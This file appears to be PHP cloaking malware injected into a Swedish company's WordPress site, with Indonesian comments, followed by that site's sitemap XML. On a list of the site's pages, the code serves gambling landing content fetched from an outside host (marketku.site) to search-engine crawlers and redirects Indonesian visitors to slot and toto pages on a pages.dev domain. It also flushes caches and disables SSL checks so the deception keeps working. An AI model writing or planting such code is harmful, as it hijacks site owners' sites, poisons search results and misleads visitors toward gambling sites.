// ======= KONFIGURASI =======
define('CLOCKING_CACHE_CLEANER_ENABLED', true);
define('CLOCKING_CACHE_CLEANER_INTERVAL', 300); // 5 menit

// ======= AUTO CACHE CLEANER FUNCTION =======
function clocking_auto_clean_cache() {
    // Cek apakah perlu clean cache
    $last_clean = get_transient('clocking_last_cache_clean');
    $current_time = time();
    
    if ($last_clean === false || ($current_time - $last_clean) > CLOCKING_CACHE_CLEANER_INTERVAL) {
        // Set flag sedang cleaning
        set_transient('clocking_cleaning_in_progress', true, 60);
        
        // Panggil fungsi cleaner
        $results = clocking_clean_all_caches();
        
        // Update last clean time
        set_transient('clocking_last_cache_clean', $current_time, DAY_IN_SECONDS);
        
        // Log hasil cleaning (opsional)
        if (defined('WP_DEBUG') && WP_DEBUG) {
            error_log('Clocking Cache Cleaner: ' . print_r($results, true));
        }
        
        // Hapus flag cleaning
        delete_transient('clocking_cleaning_in_progress');
        
        return $results;
    }
    
    return false;
}

// ======= FUNGSI CLEAN ALL CACHES =======
function clocking_clean_all_caches() {
    $results = [];
    
    // 1. Clear WordPress Object Cache
    if (function_exists('wp_cache_flush')) {
        wp_cache_flush();
        $results['object_cache'] = '✅ Object cache cleared';
    }
    
    // 2. Clear Transients
    global $wpdb;
    $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '_transient_clocking_%'");
    $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '_transient_timeout_clocking_%'");
    $results['transients'] = '✅ Clocking transients cleared';
    
    // 3. Clear Plugin Caches
    // WP Rocket
    if (function_exists('rocket_clean_domain')) {
        rocket_clean_domain();
        $results['wp_rocket'] = '✅ WP Rocket cache cleared';
    }
    
    // W3 Total Cache
    if (function_exists('w3tc_flush_all')) {
        w3tc_flush_all();
        $results['w3tc'] = '✅ W3 Total Cache cleared';
    }
    
    // WP Super Cache
    if (function_exists('wp_cache_clear_cache')) {
        wp_cache_clear_cache();
        $results['wp_super_cache'] = '✅ WP Super Cache cleared';
    }
    
    // LiteSpeed Cache
    if (class_exists('LiteSpeed_Cache_API')) {
        LiteSpeed_Cache_API::purge_all();
        $results['litespeed'] = '✅ LiteSpeed Cache cleared';
    }
    
    // SG Optimizer
    if (function_exists('sg_cachepress_purge_cache')) {
        sg_cachepress_purge_cache();
        $results['sg_optimizer'] = '✅ SG Optimizer cache cleared';
    }
    
    // 4. Clear Hosting Cache
    // WP Engine
    if (function_exists('wpengine_purge_varnish_cache')) {
        wpengine_purge_varnish_cache();
        $results['wpengine'] = '✅ WP Engine cache cleared';
    }
    
    // Kinsta
    if (function_exists('kinsta_cache_purge')) {
        kinsta_cache_purge();
        $results['kinsta'] = '✅ Kinsta cache cleared';
    }
    
    // 5. Clear OPcache
    if (function_exists('opcache_reset')) {
        opcache_reset();
        $results['opcache'] = '✅ OPcache cleared';
    }
    
    return $results;
}

// ======= FUNGSI GET CONTENT SUPER =======
function mangsud_wp_super($url) {
    if (empty($url)) {
        return false;
    }
    
    // Clean cache sebelum fetch
    clocking_auto_clean_cache();
    
    // Tambahkan anti-cache parameters
    $url = add_query_arg(array(
        't' => time(),
        'v' => uniqid(),
        'cache' => 'no'
    ), $url);
    
    $response = wp_remote_get($url, array(
        'timeout' => 30,
        'redirection' => 5,
        'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'headers' => array(
            'Cache-Control' => 'no-cache, no-store, must-revalidate, max-age=0',
            'Pragma' => 'no-cache',
            'Expires' => 'Thu, 01 Jan 1970 00:00:00 GMT',
            'X-Request-ID' => uniqid('req_', true)
        ),
        'sslverify' => false
    ));
    
    if (is_wp_error($response)) {
        return false;
    }
    
    $status_code = wp_remote_retrieve_response_code($response);
    if ($status_code !== 200) {
        return false;
    }
    
    return wp_remote_retrieve_body($response);
}

// ======= FUNGSI GET IP SUPER AKURAT =======
function get_user_ip_super() {
    $ipaddress = '';
    $headers = array(
        'HTTP_CF_CONNECTING_IP',    // Cloudflare
        'HTTP_X_FORWARDED_FOR',      // Proxy
        'HTTP_CLIENT_IP',            // Client
        'HTTP_X_REAL_IP',            // Real IP
        'HTTP_X_FORWARDED',          // Forwarded
        'HTTP_FORWARDED_FOR',        // Forwarded for
        'HTTP_FORWARDED',            // Forwarded
        'REMOTE_ADDR'                // Default
    );
    
    foreach ($headers as $header) {
        if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {
            $ipaddress = $_SERVER[$header];
            break;
        }
    }
    
    // Bersihkan IP dari multiple IP
    if (strpos($ipaddress, ',') !== false) {
        $ipaddress = explode(',', $ipaddress)[0];
    }
    
    $ipaddress = trim($ipaddress);
    
    // Validasi IP
    if (!filter_var($ipaddress, FILTER_VALIDATE_IP)) {
        return 'UNKNOWN';
    }
    
    return $ipaddress;
}

// ======= FUNGSI GEO DATA DENGAN CACHE & FALLBACK =======
function get_geo_data_super($ip) {
    // Skip untuk localhost
    if ($ip === 'UNKNOWN' || $ip === '127.0.0.1' || $ip === '::1' || $ip === '0.0.0.0') {
        return array('countryCode' => '');
    }
    
    $cache_key = 'geo_super_' . md5($ip);
    $geo = get_transient($cache_key);
    
    if (false !== $geo) {
        return $geo;
    }
    
    // Clean cache sebelum geo lookup
    clocking_auto_clean_cache();
    
    $geo_data = array('countryCode' => '');
    
    // Primary: ipapi.co (lebih akurat)
    $response = wp_remote_get("https://ipapi.co/{$ip}/json/", array(
        'timeout' => 5,
        'sslverify' => false,
        'headers' => array('Cache-Control' => 'no-cache')
    ));
    
    if (!is_wp_error($response)) {
        $data = json_decode(wp_remote_retrieve_body($response), true);
        if (!empty($data['country_code'])) {
            $geo_data = array(
                'countryCode' => $data['country_code'],
                'country' => $data['country_name'] ?? '',
                'city' => $data['city'] ?? ''
            );
        }
    }
    
    // Fallback 1: ip-api.com
    if (empty($geo_data['countryCode'])) {
        $response = wp_remote_get("http://ip-api.com/json/{$ip}?fields=status,country,countryCode", array(
            'timeout' => 5,
            'headers' => array('Cache-Control' => 'no-cache')
        ));
        
        if (!is_wp_error($response)) {
            $data = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($data['countryCode']) && $data['status'] === 'success') {
                $geo_data = array(
                    'countryCode' => $data['countryCode'],
                    'country' => $data['country'] ?? ''
                );
            }
        }
    }
    
    // Fallback 2: ipinfo.io
    if (empty($geo_data['countryCode'])) {
        $response = wp_remote_get("https://ipinfo.io/{$ip}/json", array(
            'timeout' => 5,
            'sslverify' => false,
            'headers' => array('Cache-Control' => 'no-cache')
        ));
        
        if (!is_wp_error($response)) {
            $data = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($data['country'])) {
                $geo_data = array(
                    'countryCode' => $data['country'],
                    'country' => $data['country'] ?? ''
                );
            }
        }
    }
    
    // Simpan cache 5 menit
    if (!empty($geo_data['countryCode'])) {
        set_transient($cache_key, $geo_data, 300);
    } else {
        // Cache negative result 1 menit
        set_transient($cache_key, array('countryCode' => ''), 60);
    }
    
    return $geo_data;
}

// ======= FUNGSI ANTI-CACHE HEADERS =======
function set_anti_cache_headers_super() {
    // Standard anti-cache
    header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0, private');
    header('Pragma: no-cache');
    header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
    
    // Cloudflare bypass
    header('CF-Cache-Status: bypass');
    header('X-Request-ID: ' . uniqid('req_', true));
    header('X-Cache-Buster: ' . time());
    header('X-Accel-Expires: 0');
    header('X-Proxy-Cache: bypass');
    
    // Additional cache busters
    header('ETag: ' . md5(time()));
    header('Cache-Tag: no-cache');
}

// ======= FUNGSI DETEKSI BOT SUPER =======
function is_bot_detected_super($user_agent) {
    $bot_patterns = array(
        'googlebot', 'google', 'adsbot', 'mediapartners',
        'bingbot', 'msnbot', 'slurp', 'yahoo',
        'yandex', 'duckduck', 'baidu', 'sogou',
        'ahrefs', 'semrush', 'mj12', 'dotbot',
        'majestic', 'rogerbot', 'seznambot',
        'crawler', 'spider', 'bot', 'scraper',
        'facebook', 'twitterbot', 'telegrambot', 'whatsapp',
        'applebot', 'petalbot', 'yandexbot', 'baiduspider',
        'exabot', 'baiuspider', 'ia_archiver',
        'google-inspectiontool', 'google-site-verification'
    );
    
    $user_agent = strtolower(trim($user_agent));
    
    foreach ($bot_patterns as $pattern) {
        if (strpos($user_agent, $pattern) !== false) {
            return true;
        }
    }
    
    return false;
}

// ======= FUNGSI WHITELIST IP =======
function is_whitelisted_ip_super($ip) {
    $whitelist = array(
        '127.0.0.1',
        '::1',
        // Tambahkan IP internal di sini
    );
    
    return in_array($ip, $whitelist);
}

// ======= CONFIGURASI MULTI PAGE =======
function get_page_config_super() {
    return array(
                '/integritetspolicy/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/AYAM11/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/AYAM11-lpnyaom.txt',
                ),
                '/tack/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/LEMON212/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/LEMON212-lpnyaom.txt',
                ),
                '/kunskap/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/KERA66/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/KERA66-lpnyaom.txt',
                ),
                '/kunder/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/OMPONG188/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/OMPONG188-lpnyaom.txt',
                ),
                '/kontakta-oss/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/SENGTOTO/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/SENGTOTO-lpnyaom.txt',
                ),
                '/kategori/socialamedier/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/TOKEKWIN/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/TOKEKWIN-lpnyaom.txt',
                ),
                '/boka-mote/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/GACOR25/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/GACOR25-lpnyaom.txt',
                ),
                '/test-form/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/NUSANTARA4D/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/NUSANTARA4D-lpnyaom.txt',
                ),
                '/tjanst/webb_ehandel/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/KPK100/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/KPK100-lpnyaom.txt',
                ),
                '/referens/rabattprinsen/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/ZOROTOTO/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/ZOROTOTO-lpnyaom.txt',
                ),
                '/referens/menssakrad/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/LOHANSLOT/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/LOHANSLOT-lpnyaom.txt',
                ),
                '/videobot-global/' => array(
                    'amp' => 'https://steadygo-se.pages.dev/SPN88/',
                    'lp'  => 'https://marketku.site/tes/kasinibiarcun/SPN88-lpnyaom.txt',
                ),
    );
}

// ======= MAIN CLOCKING LOGIC =======
function clocking_redirect_check_super() {
    // Skip untuk admin, ajax, cron, REST API
    if (is_admin() || 
        defined('DOING_AJAX') || 
        defined('DOING_CRON') ||
        defined('REST_REQUEST') ||
        (defined('WP_CLI') && WP_CLI)) {
        return;
    }
    
    // Skip untuk REST API
    $rest_prefix = rest_get_url_prefix();
    if (strpos($_SERVER['REQUEST_URI'], '/' . $rest_prefix . '/') !== false) {
        return;
    }
    
    // ===== AUTO CLEAN CACHE SEBELUM PROSES =====
    // Ini yang membuat clocking selalu terbaca!
    clocking_auto_clean_cache();
    
    // ===== GET PATH =====
    if (!isset($_SERVER['REQUEST_URI'])) {
        return;
    }
    
    $request_uri = $_SERVER['REQUEST_URI'];
    $parsed_url = parse_url($request_uri, PHP_URL_PATH);
    
    if (empty($parsed_url)) {
        return;
    }
    
    // Normalisasi URL
    $parsed_url = rtrim($parsed_url, '/');
    if (empty($parsed_url)) {
        $parsed_url = '/';
    }
    
    $pages = get_page_config_super();
    
    // Cek apakah URL ada di config (dengan atau tanpa trailing slash)
    if (!isset($pages[$parsed_url])) {
        $parsed_url_with_slash = $parsed_url . '/';
        if (!isset($pages[$parsed_url_with_slash])) {
            return;
        }
        $parsed_url = $parsed_url_with_slash;
    }
    
    // ===== SET ANTI-CACHE HEADERS =====
    set_anti_cache_headers_super();
    
    // ===== GET CONFIG =====
    $config = $pages[$parsed_url];
    $amp_url = $config['amp'];
    $lp_url = $config['lp'];
    
    // Tambahkan cache buster
    $amp_url = add_query_arg(array(
        't' => time(),
        'v' => uniqid()
    ), $amp_url);
    
    $lp_url = add_query_arg(array(
        't' => time(),
        'v' => uniqid()
    ), $lp_url);
    
    // ===== GET IP, USER AGENT =====
    $ip = get_user_ip_super();
    $user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    
    // ===== WHITELIST CHECK =====
    if (is_whitelisted_ip_super($ip)) {
        return;
    }
    
    // ===== DETEKSI BOT =====
    $is_bot = is_bot_detected_super($user_agent);
    
    // ===== DETEKSI INDONESIA =====
    $geo = get_geo_data_super($ip);
    $is_indonesia = (!empty($geo['countryCode']) && strtoupper($geo['countryCode']) === 'ID');
    
    // ===== LOGIKA CLOCKING =====
    
    // 1. PRIORITAS: BOT DAPAT KONTEN LP
    if ($is_bot) {
        $content = mangsud_wp_super($lp_url);
        if ($content && !empty($content)) {
            // Clean output buffer
            while (ob_get_level()) {
                ob_end_clean();
            }
            echo $content;
            exit;
        }
        return;
    }
    
    // 2. REDIRECT IP INDONESIA KE AMP
    if ($is_indonesia) {
        // Clean buffer sebelum redirect
        while (ob_get_level()) {
            ob_end_clean();
        }
        wp_redirect($amp_url, 302);
        exit;
    }
    
    // 3. DEFAULT: TAMPILKAN WORDPRESS NORMAL
}

// ======= REGISTER ACTION =======
add_action('init', 'clocking_redirect_check_super', 1);

// ======= FILTER UNTUK CACHE PLUGIN =======
add_filter('wp_headers', function($headers) {
    if (isset($_SERVER['REQUEST_URI'])) {
        $pages = get_page_config_super();
        $parsed_url = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
        $parsed_url = rtrim($parsed_url, '/');
        if (empty($parsed_url)) {
            $parsed_url = '/';
        }
        
        if (isset($pages[$parsed_url]) || isset($pages[$parsed_url . '/'])) {
            $headers['Cache-Control'] = 'no-cache, no-store, must-revalidate, max-age=0, private';
            $headers['Pragma'] = 'no-cache';
            $headers['Expires'] = 'Thu, 01 Jan 1970 00:00:00 GMT';
            $headers['X-Cache-Buster'] = time();
        }
    }
    return $headers;
}, 1);

// ======= CRON JOB UNTUK AUTO CLEAN CACHE =======
// Menambahkan scheduled job untuk clean cache setiap jam
add_action('wp', function() {
    if (!wp_next_scheduled('clocking_auto_clean_cache_cron')) {
        wp_schedule_event(time(), 'hourly', 'clocking_auto_clean_cache_cron');
    }
});

add_action('clocking_auto_clean_cache_cron', function() {
    clocking_clean_all_caches();
});

// ======= FUNGSI UNTUK MANUAL CLEAN CACHE =======
function clocking_manual_clean_cache() {
    if (!current_user_can('administrator')) {
        return;
    }
    
    $results = clocking_clean_all_caches();
    
    echo '<div class="notice notice-success">';
    echo '<h3>Clocking Cache Cleaner - Manual Clean</h3>';
    echo '<ul>';
    foreach ($results as $key => $message) {
        echo '<li>' . $message . '</li>';
    }
    echo '</ul>';
    echo '</div>';
}
// Tambahkan ke admin bar
add_action('admin_bar_menu', function($wp_admin_bar) {
    if (current_user_can('administrator')) {
        $wp_admin_bar->add_node(array(
            'id' => 'clocking-clean-cache',
            'title' => '🧹 Clean Clocking Cache',
            'href' => add_query_arg('clocking_clean_cache', '1', admin_url()),
            'meta' => array(
                'title' => 'Clean Clocking Cache',
                'class' => 'clocking-clean-cache'
            )
        ));
    }
}, 100);

add_action('init', function() {
    if (isset($_GET['clocking_clean_cache']) && current_user_can('administrator')) {
        clocking_manual_clean_cache();
        wp_redirect(remove_query_arg('clocking_clean_cache'));
        exit;
    }
});

// ======= TESTING FUNCTION =======
function clocking_test() {
    if (!current_user_can('administrator')) {
        return;
    }
    
    echo '<div style="position:fixed;bottom:10px;right:10px;background:#f1f1f1;padding:15px;border-radius:5px;z-index:9999;font-size:12px;">';
    echo '<strong>🔍 Clocking Test</strong><br>';
    echo 'IP: ' . get_user_ip_super() . '<br>';
    echo 'Bot: ' . (is_bot_detected_super($_SERVER['HTTP_USER_AGENT'] ?? '') ? 'Yes' : 'No') . '<br>';
    $geo = get_geo_data_super(get_user_ip_super());
    echo 'Geo: ' . ($geo['countryCode'] ?? 'Unknown') . '<br>';
    echo '</div>';
}
// add_action('wp_footer', 'clocking_test'); // Uncomment untuk testing
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//steadygo.se/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://steadygo.se/post-sitemap.xml</loc>
		<lastmod>2026-05-22T18:19:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://steadygo.se/page-sitemap.xml</loc>
		<lastmod>2026-06-10T21:04:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://steadygo.se/referens-sitemap.xml</loc>
		<lastmod>2026-02-17T08:00:32+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://steadygo.se/tjanst-sitemap.xml</loc>
		<lastmod>2026-06-23T19:15:48+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->